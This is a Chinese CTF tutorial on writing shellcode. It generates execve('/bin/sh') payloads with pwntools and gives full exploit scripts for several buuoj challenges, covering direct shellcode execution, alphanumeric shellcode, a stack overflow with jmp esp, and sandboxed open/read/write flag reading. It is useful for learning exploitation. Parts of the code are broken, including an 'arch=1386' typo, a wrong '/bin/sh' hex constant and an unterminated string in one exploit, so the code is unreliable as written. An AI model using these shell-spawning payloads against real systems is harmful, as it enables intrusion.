shellcode

pic

原理

在pwn中shellcode利用方式一般为触发中断(int 0x80 或 syscall)来进行系统调用
system("/bin/sh"),实际上就是调用execve("/bin/sh",0,0)

示例程序

1
2
3
4
5
6
//gcc -m32 1.c -o shell
#include<stdio.h>
int main(){
system("/bin/sh");
exit(0);
}

syscall 调用表

https://publicki.top/syscall.html

使用pwntools生成shellcode

32位

1
2
3
from  pwn import  *
context(log_level= 'debug',arch='1386',os='linux')
shellcode = asm(shellcraft.sh())

64位

1
2
3
from  pwn import  *
context(log_level= 'debug',arch='amd64',os='linux')
shellcode = asm(shellcraft.sh())

mips

1
2
3
from  pwn import  *
context(log_level= 'debug',arch='mips',os='linux')
shellcode = asm(shellcraft.mips.linux.sh())

arm

1
2
3
from  pwn import  *
context(log_level= 'debug',arch='aarch64',os='linux')
shellcode = asm(shellcraft.aarch64.linux.sh())

在运行生成mips和arm架构的shellcode时会有一系列的报错
这里给出解决方案
git clone https://github.com/Gallopsled/pwntools-binutils
cd pwntools-binutils/ubuntu
chmod +x install_all.sh
./install_all.sh arm

例题

mrctf2020_shellcode

1.png-65.6kB

从ida中我们可以看到,程序的功能为读入0x400字节,然后执行读入的内容
2.png-150.2kB

同时栈上有可执行权限

那接下来编写exp

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from  pwn import  *
context.arch = 'amd64'
context.log_level = 'debug'
context.os = 'linux'
#context.terminal = ['tmux','sp','-h']
sh = remote("node4.buuoj.cn",26936)
#sh = process('mrctf2020_shellcode')
shellcode = asm(shellcraft.sh())
shellcode1 = '''
mov rbx, 0x68732f6e6922f
push rbx
push rsp
pop rdi
xor esi,esi
xor edx,edx
push 0x3b
pop rax
syscall
'''
shellcode1 = asm(shellcode1)
sh.recvuntil('Show me your magic!')
#gdb.attach(sh)
sh.send(shellcode)

sh.interactive()

但是在CTF比赛中往往会对输入长度进行限制所以有时也需要自己编写shellcode

mrctf2020_shellcode_revenge

本题与上一题相似,不过却只能用可见字符构造shellcode,这里使用alpha3来生成
3.png-91kB

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 ```python
from pwn import *

r = remote("node4.buuoj.cn", 29931)
context(arch = 'amd64', os = 'linux', log_level = 'debug')
r.recvuntil("Show me your magic!\n")

shellcode1 = '''
mov rbx, 0x68732f6e6922f
push rbx
push rsp
pop rdi
xor esi,esi
xor edx,edx
push 0x3b
pop rax
syscall

shellcode1 = asm(shellcode1)
print(shellcode1)
payload1 = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'

payload = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M150m0M0R2o7O2q0H0k10030O2J142M0H2N160Y0m0H18140l07121L0m0L121M0c7L0m1O0m0N0V0o11010H2L130R2j0l0l2t100Q0m0J110y2Z0m'
r.send(payload1)

r.interactive()

ciscn_s_6

IDA分析
4.png-31.2kB

5.png-14.8kB
思路

pwn函数存在明显的栈溢出,我们可以通过读入shellcode并将返回地址覆盖为jmp esp之后去调用之前的shellcode
由于输入长度限制,本题需手写shellcode
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

ret_addr = 0x8048554

r = remote("node4.buuoj.cn", 26139)
#r = process('ciscn_s_9')
context(arch = 'i386', os = 'linux', log_level = 'debug')

shellcode ='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80
'''

shellcode=asm(shellcode)
print(len(shellcode))
payload = shellcode.ljust(0x20,b'\x00') + p32(0) +p32(ret_addr) + asm("sub esp,40;call esp")

#gdb.attach(r)
r.sendline(payload)


r.interactive()

pwnable_orw

题目分析
6.png-42.5kB

7.png-40.7kB

查看沙盒
8.png-44.1kB

发现只能使用open,read,write,那么我们就可以通过open(file)+read(file)+write(file)来实现任意文件读取

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

io = remote('node3.buuoj.cn',25539)

context.binary = 'orw'
elf = ELF('orw')

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)

sleep(0.2)
io.sendline(shellcode)

io.interactive()